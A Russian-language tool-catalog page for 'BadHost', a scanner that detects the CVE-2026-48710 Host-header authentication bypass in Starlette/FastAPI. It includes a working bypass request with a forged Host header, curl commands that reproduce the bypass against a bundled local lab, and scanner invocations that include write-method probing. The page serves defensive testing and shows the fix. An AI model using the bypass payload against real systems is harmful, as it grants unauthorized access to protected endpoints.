Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
BadHost-CVE-2026-48710-Exploit — Сканер обнаружения для CVE-2026-48710 - обход аутентификации через заголовок Host в Starlette/FastAPI | Kitploit
Инструменты/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
Аутентификация и авторизацияСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеЛаборатории и Практика
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
bhanunamikaze/badhost-cve-2026-48710-exploit

BadHost-CVE-2026-48710-Exploit

Сканер обнаружения для CVE-2026-48710 - обход аутентификации через заголовок Host в Starlette/FastAPI

Репозиторий
153 месяцев назадЕщё не проверено

BadHost — CVE-2026-48710 Сканер

Сканер только для обнаружения обхода аутентификации BadHost в Starlette / FastAPI — где промежуточное ПО аутентификации читает request.url.path вместо request.scope["path"], что позволяет с помощью поддельного заголовка Host протащить разрешённый путь и обойти аутентификацию.

root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette видит request.url.path == "/health" → разрешено
# ASGI всё равно направляет на /admin → обход

Затронуты: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Исправлено в: Starlette 0.46.2+


Возможности

  • Передайте полный URL (https://host/path) — путь извлекается автоматически как зонд
  • Загружает конечные точки из спецификации FastAPI/OpenAPI JSON или YAML (файл или URL)
  • Автоматически обнаруживает неаутентифицированные пути для использования в качестве кандидатов для внедрения
  • Тестирует оба заголовка: Host и X-Forwarded-Host, две стратегии полезной нагрузки
  • Встроенные пресеты для AI/LLM (--preset ai) и MCP (--preset mcp) конечных точек
  • Вывод: текстовый сводка, --json, --csv
  • Живой прогресс сканирования в stderr; нулевые сторонние зависимости

Локальная уязвимая лаборатория (badhost_vuln_lab/)

Поставляется с двумя FastAPI приложениями для локальной проверки:

ПриложениеURLЧтение аутентификации
Уязвимоеhttp://127.0.0.1:8000request.url.path — обойдено
Исправленноеhttp://127.0.0.1:8001request.scope["path"] — безопасно
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build

Или без Docker:

root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

Ручной тест обхода

root@kitploit:~
curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — обход
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — исправлено

Установка

root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, pip install не требуется

Использование

root@kitploit:~
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid отправляет {} для методов записи — вызывает FastAPI 422 после обхода аутентификации без выполнения конечной точки. Результат baseline=403 test=422 по-прежнему является ПОДОЗРИТЕЛЬНЫМ (SUSPECT) и стоит расследования.
Не используйте --openapi-body-mode minimal на продакшене — он создаёт корректные тела запросов, которые могут выполнять конечные точки записи.


Вердикты

В выводе появляются только CONFIRMED и SUSPECT. Код выхода 2 = CONFIRMED, 1 = SUSPECT, 0 = чисто.


Исправление

root@kitploit:~
# Уязвимо
if request.url.path.startswith("/public"):
    ...

# Исправлено
if request.scope["path"].startswith("/public"):
    ...

Обновитесь до Starlette 0.46.2+ / FastAPI 0.116.0+.


Только для авторизованного тестирования. Сканируйте только те системы, которыми вы владеете или на тестирование которых получили явное разрешение.

Скачать инструмент
ВердиктЗначение
CONFIRMEDБазовый 401/403 → тест 2xx. Уязвимо.
SUSPECTБазовый 401/403 → тест 404/405/422. Шлюз аутентификации, похоже, обойдён; проверьте вручную. 422 от FastAPI особенно значим.
REJECTEDПрокси отклонил некорректный Host (400/421) до обхода
BLOCKEDПоддельный запрос всё ещё отклонён
OPENУже доступен без аутентификации — не этот CVE